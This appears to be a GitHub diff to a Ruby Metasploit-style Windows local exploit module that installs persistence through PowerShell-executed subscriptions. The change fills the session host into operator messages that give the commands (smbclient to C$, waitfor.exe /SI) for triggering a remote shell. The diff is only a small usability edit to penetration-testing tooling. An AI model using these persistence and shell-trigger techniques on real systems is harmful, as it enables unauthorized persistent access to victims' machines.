File tree Expand file tree Collapse file tree 1 file changed +5
-2
lines changed
modules/exploits/windows/local Expand file tree Collapse file tree 1 file changed +5
-2
lines changed Original file line number Diff line number Diff line change @@ -91,6 +91,9 @@ def exploit
91
91
return
92
92
end
93
93
94
+ host = session . session_host
95
+ print_status ( 'Installing Persistence...' )
96
+
94
97
case datastore [ 'PERSISTENCE_METHOD' ]
95
98
when 'LOGON'
96
99
psh_exec ( subscription_logon )
@@ -102,15 +105,15 @@ def exploit
102
105
remove_persistence
103
106
when 'EVENT'
104
107
psh_exec ( subscription_event )
105
- print_good "Persistence installed! Call a shell using \" smbclient \\ \\ \\ \\ <target_ip> \\ \\ C$ -U " +datastore [ 'USERNAME_TRIGGER' ] +" <arbitrary password>\" "
108
+ print_good "Persistence installed! Call a shell using \" smbclient \\ \\ \\ \\ #{ host } \\ \\ C$ -U " +datastore [ 'USERNAME_TRIGGER' ] +" <arbitrary password>\" "
106
109
remove_persistence
107
110
when 'PROCESS'
108
111
psh_exec ( subscription_process )
109
112
print_good "Persistence installed!"
110
113
remove_persistence
111
114
when 'WAITFOR'
112
115
psh_exec ( subscription_waitfor )
113
- print_good "Persistence installed! Call a shell using \" waitfor.exe /S <target_ip> /SI " +datastore [ 'WAITFOR_TRIGGER' ] +"\" "
116
+ print_good "Persistence installed! Call a shell using \" waitfor.exe /S #{ host } /SI " +datastore [ 'WAITFOR_TRIGGER' ] +"\" "
114
117
remove_persistence
115
118
end
116
119
end
You can’t perform that action at this time.
0 commit comments